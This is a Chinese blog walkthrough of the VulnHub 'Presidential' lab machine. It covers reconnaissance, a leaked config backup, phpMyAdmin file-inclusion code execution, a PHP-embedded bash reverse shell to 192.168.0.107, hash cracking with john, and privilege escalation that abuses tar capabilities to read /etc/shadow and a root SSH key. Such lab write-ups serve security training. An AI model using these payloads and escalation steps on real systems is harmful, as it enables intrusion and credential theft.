当前位置:网站首页>vulnhub之presidential
vulnhub之presidential
2022-07-03 11:05:00 【梅_花_七】
目录
一、nmap主机发现
做一个基于ping的扫描,其他有点慢

二、端口扫描

三、服务版本发现

四、信息收集
1.主页
至于其他功能,源码处,对我们来说没有太多的作用。

五、目录扫描
挨个查看,都没反应,上面收集到了域名,绑定域名,在尝试。

1.绑定域名
2./config.php.bak
这个里面有107B的数据。在源码下我们发现了数据库的名,账号密码

六、子域名爆破
爆破出来一个database.votenow.local,绑定ip,后访问。

发现一个phpmyadmin的登陆界面,结合我们前面发现的账号密码,登录phpmyadmin。

七、phpmyadmin
1.查看版本
、
2.漏洞搜索
这里有三个漏洞,我们来使用44928.txt文件包含漏洞。

3.文件内容
先利用数据库写入文件,之后来利用文件包含执行文件
4.尝试
注意:将sessions改为session,否则不成功
前边写域名,后面加上session就ok了

八、反弹shell
退出重新登陆获得一个新的session,其余步骤和上述相通
select '<?php system('bash -i >& /dev/tcp/192.168.0.107/8888 0>&1');exit;?>'

九、john的hash值爆破
在phpmyadmin中我们还发现了一个用户名和hash值
admin $2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
尝试爆破
john hash --wordlist=rockyou.txt
Stella

su admin
并python返回一下shell

十、capability
1.查看具有capability的权限
getcap -r / 2>/dev/null
2.代表意思:
Permitted
这个集合定义了线程所能够拥有的特权的上限,是Inheritable和Effective集合的的超集
Effective
内核检查特权操作时,实际检查的集合(可以通过执行操作前增/删Effective中的capabilities,以达到临时开/关权限的功能)

3.挨个查看
找到我们admin用户可以执行的命令。tars我们可以执行。

十一、tars提权
1.读取/etc/shadow
读取压缩
tar -cf archive.tar /etc/shadow
解压缩
tar -xf archive.tar
利用里面root的hash值,找字典去碰。找到对的字典应该可以破解出来

2.读取私钥文件
和上面一样来tarS来读取文件,然后解压。放到admin的.ssh下面,然后通过ssh登录,提权成功
ssh -i id_rsa [email protected] -p 2082

拿到flag

边栏推荐
- Analysis of EPS electric steering system
- Slam mapping and autonomous navigation simulation based on turnlebot3
- Arctangent entropy: the latest SCI paper in July 2022
- Leetcode 46: full arrangement
- Xml的(DTD,xml解析,xml建模)
- R语言使用原生包(基础导入包、graphics)中的hist函数可视化直方图(histogram plot)
- How to become a senior digital IC Design Engineer (1-2) Verilog coding syntax: Verilog 1995, 2001, 2005 standards
- VPP three-layer network interconnection configuration
- Cuiyusong, CTO of youzan: the core goal of Jarvis is to make products smarter and more reliable
- R语言使用gridExtra包的grid.arrange函数将lattice包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
猜你喜欢

rxjs Observable filter Operator 的实现原理介绍

(数据库提权——Redis)Redis未授权访问漏洞总结

Use typora to draw flow chart, sequence diagram, sequence diagram, Gantt chart, etc. for detailed explanation

软件测试周刊(第78期):你对未来越有信心,你对现在越有耐心。

ASP.NET-酒店管理系統

Mmc5603nj geomagnetic sensor (Compass example)

Understand go language context in one article

Kibana~Kibana的安装和配置

Yintai department store ignites the city's "night economy"

Hongmeng third training (project training)
随机推荐
After using the thread pool for so long, do you really know how to reasonably configure the number of threads?
一些常用术语
Excel快速跨表复制粘贴
动态规划(区间dp)
C language utf8toutf16 (UTF-8 characters are converted to hexadecimal encoding)
Phpcms prompt message page Jump showmessage
Visual Studio 2022下载及配置OpenCV4.5.5
Kubernetes 三打探针及探针方式
R language uses grid of gridextra package The array function combines multiple visual images of the ggplot2 package horizontally, and the ncol parameter defines the number of columns of the combined g
Repo ~ common commands
量化计算调研
How to get started embedded future development direction of embedded
Dynamic programming (interval DP)
R language uses the aggregate function to calculate the mean value (sum) of dataframe data grouping aggregation without setting na The result of RM calculation. If the group contains the missing value
Gut | Yu Jun group of the Chinese University of Hong Kong revealed that smoking changes intestinal flora and promotes colorectal cancer (do not smoke)
mysql使用update联表更新的方法
Double linked list of linear list
Modular programming of single chip microcomputer
Solicitation for JGG special issue: spatio-temporal omics
How to clean up v$rman_ backup_ job_ Details view reports error ora-02030